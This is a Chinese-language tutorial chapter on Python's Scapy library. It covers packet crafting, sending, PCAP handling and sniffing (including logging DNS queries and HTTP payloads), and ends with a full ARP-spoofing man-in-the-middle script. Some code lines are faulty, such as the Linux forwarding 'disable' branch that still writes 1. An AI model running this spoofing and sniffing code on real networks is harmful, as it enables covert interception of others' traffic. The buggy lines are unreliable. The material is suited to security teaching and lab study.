在本章中,我们将介绍以下配方:
-
使用 Scapy 创建数据包
-
使用 Scapy 发送和接收数据包
-
分层数据包
-
读取和写入 PCAP 文件
-
嗅探数据包
-
使用 Scapy 创建 ARP 中间人工具
Scapy 是一个强大的 Python 模块,用于数据包操作。它可以解码和创建各种协议的数据包。Scapy 可用于扫描、探测和网络发现任务。
我们知道,网络通信的基本单元是数据包。因此,我们可以通过使用 Scapy 创建数据包来开始。Scapy 以层的形式创建数据包;每个层都嵌套在其父层内。
由于我们需要在环境中安装 Scapy 模块,请确保使用pip命令安装它:
pip install scapy 安装后,请确保通过在终端中发出scapy命令来检查它是否正常工作:
scapy
Welcome to Scapy (3.0.0)
>>> 这将打开一个交互式的 Scapy 终端。您还可以使用它来对 Scapy 脚本进行基本调试。Scapy 支持的所有协议的列表如下:
>>> ls() 类似地,我们可以按以下方式获取每个协议中的详细信息和参数:
>>> ls(UDP) 以下是使用scapy模块创建数据包的步骤:
-
创建一个名为
scapy-packet.py的新文件,并在编辑器中打开它。 -
像往常一样,导入
scapy模块和pprint以获得更好的可读性打印:
from scapy.all import *
from pprint import pprint - 通过定义 TCP/IP 每个协议层的数据包头并按正确顺序堆叠它们来制作数据包。因此,我们可以通过以下方式创建 TCP 数据包的第一层:
ethernet = Ether() - 然后我们可以创建数据包的 IP 层,如下所示:
network = IP(dst='192.168.1.1/30') 由于这是网络层,我们必须将目的地 IP 作为参数传递。Scapy 接受不同的 IP 表示法,如下所示:
-
- 普通的点分十进制表示法:
network = IP(dst='192.168.1.1') -
- CIDR 表示法:
network = IP(dst='192.168.1.1/30') -
- 主机名:
network = IP(dst = 'rejahrehim.com') 此外,我们可以通过将目的地作为列表传递来设置多个目的地:
network = IP(dst = ['rejahrehim.com', '192.168.1.1', '192.168.12']) - 类似地,我们可以创建传输层。在我们的情况下,它是一个 TCP 层。我们可以按以下方式创建它:
transport = TCP(dport=53, flags = 'S') 在这里,我们传递目的地端口,并将标志设置为S以进行 SYN 数据包。我们还可以将目的地端口作为列表传递以创建多个数据包:
transport = TCP(dport=[(53, 100)], flags = 'S') - 接下来,我们可以使用
/运算符堆叠这些层:
packet = ethernet/network/transport - 现在我们可以通过使用
pprint打印它们来检查生成的数据包:
pprint([pkt for pkt in packet]) 我们还可以使用ls()来检查数据包:
for pkt in packet:
ls(pkt)获取数据包详细信息的另一个选项是数据包中的show()方法:
for pkt in packet:
pkt.show() 现在我们可以使用脚本创建一个单个数据包。脚本如下:
from scapy.all import *
from pprint import pprint
ethernet = Ether()
network = IP(dst = ['rejahrehim.com'])
transport = TCP(dport=[(80)], flags = 'S')
packet = ethernet/network/transport
for pkt in packet:
pkt.show() 这将创建一个带有 SYN 标志的 TCP/IP 数据包,目的地地址为rejahrehim.com/,目的地端口为80。
- 现在以
sudo权限运行脚本:
sudo python3 scapy-packet.py 输出将如下所示:
在这里,我们可以看到scapy将源 IP 识别为本地 IP,并自动将这些详细信息添加到数据包中。
- 正如您可能已经注意到的那样,响应的第一行是一个警告消息,说
未找到 IPV6 目标的路由。我们可以通过使用logger模块来避免这些不太重要的消息。为此,在导入 Scapy 之前,导入并将日志级别设置为ERROR(仅打印错误消息)。可以通过在脚本顶部添加以下行来实现这一步骤。这一步骤适用于所有使用scapy模块的配方:
import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR) 我们已经在上一篇文章中创建了一些数据包。现在我们可以使用 Scapy 发送和接收这些数据包。
以下是使用scapy模块发送和接收数据包的方法:
- 确保导入所需的模块:
from scapy.all import *
from pprint import pprint - 我们可以使用
send()函数在第 3 层发送数据包。在这种情况下,Scapy 将处理其内部的路由和第 2 层:
network = IP(dst = '192.168.1.1')
transport = ICMP()
packet = network/transport
send(IP(packet) 这将发送一个 ICMP 数据包
- 要发送带有自定义第 2 层的数据包,我们必须使用
sendp()方法。在这里,我们必须传递要用于发送数据包的接口。我们可以使用iface参数提供它。如果未提供此参数,它将使用conf.iface的默认值:
ethernet = Ether()
network = IP(dst = '192.168.1.1')
transport = ICMP()
packet = ethernet/network/transport
sendp(packet, iface="en0") - 要发送一个数据包并接收响应,我们必须使用
sr()方法:
ethernet = Ether()
network = IP(dst = 'rejahrehim.com')
transport = TCP(dport=80)
packet = ethernet/network/transport
sr(packet, iface="en0") - 我们可以使用
sr1()方法发送一个数据包或一组数据包,并且只记录第一个响应:
sr1(packet, iface="en0") - 同样,我们可以使用
srloop()来循环发送刺激数据包的过程,接收响应并打印它们。
srloop(packet) 在 Scapy 中,每个数据包都是嵌套字典的集合,因为 Scapy 使用 Python 字典作为数据包的数据结构。从最底层开始,每个层都将是父层的子字典。此外,数据包中每个层的每个字段都是该层字典中的键值对。因此,我们可以使用赋值操作更改此字段。
要了解 Scapy 中的分层,可以按照以下步骤进行:
- 我们可以使用
show()方法获取数据包及其分层结构的详细信息。我们可以使用交互式终端检查和确定有关每个数据包结构的更多信息。打开终端并输入以下内容:
>>> scapy 接下来,创建一个数据包并显示其详细信息,如下所示:
>>> pkt = Ether()/IP(dst='192.168.1.1')/TCP(dport=80)
>>> pkt.show() 然后它将打印出我们创建的数据包的结构:
即使我们不提供源地址,Scapy 也会自动分配源地址。
- 我们可以使用
summary()方法获取数据包的摘要:
>>> pkt.summary() - 我们可以通过列表索引或名称获取数据包的每个层:
>>> pkt[TCP].show()
>>> pkt[2].show() 两者都将打印 TCP 层的详细信息,如下所示:
- 同样,我们可以获取每个层内的每个字段。我们可以获取数据包的目标 IP 地址,如下所示:
>>> pkt[IP].dst - 我们可以使用
haslayer()方法测试特定层是否存在:
>>> if (pkt.haslayer(TCP)):
....print ("TCP flags code: " + str(pkt.getlayer(TCP).flags) 同样,可以使用getlayer()方法获取特定层
- 我们可以使用 Scapy 的
sniff()函数嗅探网络,并使用过滤参数从嗅探到的数据包中获取特定类型的数据包:
>>> pkts = sniff(filter="arp",count=10)
>>> print(pkts.summary()) pcap 文件用于保存捕获的数据包以供以后使用。我们可以使用 Scapy 从 pcap 文件中读取数据包并将其写入 pcap 文件。
我们可以编写一个脚本来使用 Scapy 读取和写入 pcap 文件,如下所示:
- 我们可以按照以下步骤将 pcap 文件导入到 Scapy 中:
from scapy.all import *
packets = rdpcap("sample.pcap")
packets.summary() - 我们可以像处理创建的数据包一样迭代和处理数据包:
for packet in packets:
if packet.haslayer(UDP):
print(packet.summary()) - 我们还可以在导入过程中操纵数据包。如果我们想要更改捕获的 pcap 文件中数据包的目标和源 MAC 地址,我们可以在导入时进行,如下所示:
from scapy.all import *
packets = []
def changePacketParameters(packet):
packet[Ether].dst = '00:11:22:dd:bb:aa'
packet[Ether].src = '00:11:22:dd:bb:aa'
for packet in sniff(offline='sample.pcap', prn=changePacketParameters):
packets.append(packet)
for packet in packets:
if packet.haslayer(TCP):
print(packet.show()) 在这里,我们定义一个新函数changePacketParameters(),用于迭代每个数据包,并在以太网层内更新其源和目标 MAC 地址。此外,我们将在sniff()部分内调用该函数作为prn。
- 我们可以使用
wrpcap()函数将数据包导出到 pcap 文件:
wrpcap("editted.cap", packets) - 我们还可以使用 Scapy 过滤要写入 pcap 文件的数据包:
from scapy.all import *
packets = []
def changePacketParameters(packet):
packet[Ether].dst = '00:11:22:dd:bb:aa'
packet[Ether].src = '00:11:22:dd:bb:aa'
def writeToPcapFile(pkt):
wrpcap('filteredPackets.pcap', pkt, append=True)
for packet in sniff(offline='sample.pcap', prn=changePacketParameters):
packets.append(packet)
for packet in packets:
if packet.haslayer(TCP):
writeToPcapFile(packet)
print(packet.show()) - 我们可以使用
sendp()方法重放 pcap 文件中捕获的数据包:
sendp(packets) 我们可以使用一行代码在 Scapy 中读取和重放数据包:
sendp(rdpcap("sample.pcap")) Scapy 有一个sniff()函数,我们可以用它来从网络中获取数据包。但是 Scapy 内置的sniff()函数速度有点慢,可能会跳过一些数据包。当嗅探速度很重要时,最好使用tcpdump。
以下是使用scapy模块编写嗅探器的步骤:
-
创建一个名为
scapy-sniffer.py的文件并用编辑器打开它。 -
像往常一样,为脚本导入所需的模块:
import sys
from scapy.all import * - 然后,定义所需的变量。这里我们需要定义要嗅探的
interface:
interface = "en0"您可以使用 Linux 和 macOS 中的ifconfig命令获取要使用的interface:
- 现在我们可以编写一个函数来处理嗅探到的数据包,这将作为嗅探器的回调函数提供:
def callBackParser(packet):
if IP in packet:
source_ip = packet[IP].src
destination_ip = packet[IP].dst
if packet.haslayer(DNS) and packet.getlayer(DNS).qr == 0:
print("From : " + str(source_ip) + " to -> " + str(destination_ip) + "( " + str(packet.getlayer(DNS).qd.qname) + " )") 在这里,我们获取所有 DNS 数据包的源和目的地 IP,并提取这些 DNS 数据包的域
- 现在我们可以使用
sniff()方法开始嗅探并将数据包传递给回调函数:
sniff(iface=interface, prn=callBackParser) 这将开始嗅探来自变量中指定的接口的数据包。
- 现在我们可以使用
sudo权限启动脚本:
sudo python3 scapy-sniffer.py 输出将如下所示:
- 我们可以按如下方式打印嗅探到的数据包中的
payload:
if TCP in packet:
try:
if packet[TCP].dport == 80 or packet[TCP].sport == 80:
print(packet[TCP].payload)
except:
pass中间人攻击意味着攻击者坐在源和目的地之间,通过攻击系统传递所有数据。这将允许攻击者查看受害者的活动。我们可以借助 Scapy 编写一个小型的 Python 脚本来运行中间人攻击。
为了更好地理解,我们可以编写一个脚本,按照以下步骤:
-
创建一个名为
mitm-scapy.py的新文件,并在编辑器中打开它。 -
像往常一样,导入所需的模块:
from scapy.all import *
import os
import time
import sys 在这里,我们导入 Scapy 以及所需的os、time和sys模块,这些模块在脚本中是必需的。
- 现在我们必须为脚本定义变量。我们可以使用 Python 2.x 中的
raw_input方法或 Python 3.x 中的input()来获取变量的详细信息,而不是在脚本中定义它:
interface = "en0"
source_ip = "192.168.1.1"
destination_ip = "192.168.1.33" - 由于我们必须获取源和目的地的 MAC 地址以构建 ARP 响应,我们将使用 ARP 请求请求两者,并解析响应以获取 MAC 地址。现在我们必须创建一个函数来获取 MAC 地址:
def getMAC(IP, interface):
answerd, unanswered = srp(Ether(dst = "ff:ff:ff:ff:ff:ff")/ARP(pdst = IP), timeout = 5, iface=interface, inter = 0.1)
for send,recieve in answerd:
return recieve.sprintf(r"%Ether.src%") 这将返回调用此函数时提供的 IP 的 MAC 地址
- 现在我们将创建一个函数来切换 IP 转发。这在 Linux 和 macOS 上是不同的:
- 对于 macOS:
def setIPForwarding(set):
if set:
#for OSX
os.system('sysctl -w net.inet.ip.forwarding=1')
else:
#for OSX
os.system('sysctl -w net.inet.ip.forwarding=0') -
- 对于 Linux:
def setIPForwarding(set):
if set:
#for Linux
os.system('echo 1 > /proc/sys/net/ipv4/ip_forward')
else:
#for Linux
os.system('echo 1 > /proc/sys/net/ipv4/ip_forward')- 现在我们必须编写另一个函数来重新建立受害者和源之间的连接。这是为了确保受害者不会发现拦截:
def resetARP(destination_ip, source_ip, interface):
destinationMAC = getMAC(destination_ip, interface)
sourceMAC = getMAC(source_ip, interface)
send(ARP(op=2, pdst=source_ip, psrc=destination_ip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=destinationMAC, retry=7))
send(ARP(op=2, pdst=destination_ip, psrc=source_ip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=sourceMAC, retry=7))
setIPForwarding(False) 在这个函数中,我们首先使用我们编写的getMAC()函数获取源和目的地的 MAC 地址。然后,我们将发送请求到源,就好像是来自目的地。此外,我们将发送请求到目的地,就好像是来自源。最后,我们将使用我们编写的setIPForwarding()函数重置 IP 转发
- 现在我们将进行实际攻击。为此,我们将编写一个函数:
def mitm(destination_ip, destinationMAC, source_ip, sourceMAC):
arp_dest_to_src = ARP(op=2, pdst=destination_ip, psrc=source_ip, hwdst=destinationMAC)
arp_src_to_dest = ARP(op=2, pdst=source_ip, psrc=destination_ip, hwdst=sourceMAC)
send(arp_dest_to_src)
send(arp_src_to_dest)这将把数据包发送到源和目的地,指示我们的接口是源的目的地和目的地的源
- 接下来,我们必须设置一个回调函数来解析从接口嗅探到的数据包:
def callBackParser(packet):
if IP in packet:
source_ip = packet[IP].src
destination_ip = packet[IP].dst
print("From : " + str(source_ip) + " to -> " + str(destination_ip)) - 现在我们将定义
main()函数来调用攻击:
def main():
setIPForwarding(True)
try:
destinationMAC = getMAC(destination_ip, interface)
except Exception as e:
setIPForwarding(False)
print(e)
sys.exit(1)
try:
sourceMAC = getMAC(source_ip, interface)
except Exception as e:
setIPForwarding(False)
print(e)
sys.exit(1)
while True:
try:
mitm(destination_ip, destinationMAC, source_ip, sourceMAC)
sniff(iface=interface, prn=callBackParser,count=10)
except KeyboardInterrupt:
resetARP(destination_ip, source_ip, interface)
break
sys.exit(1)
main() 这将创建一个无限循环来设置攻击并嗅探数据包。








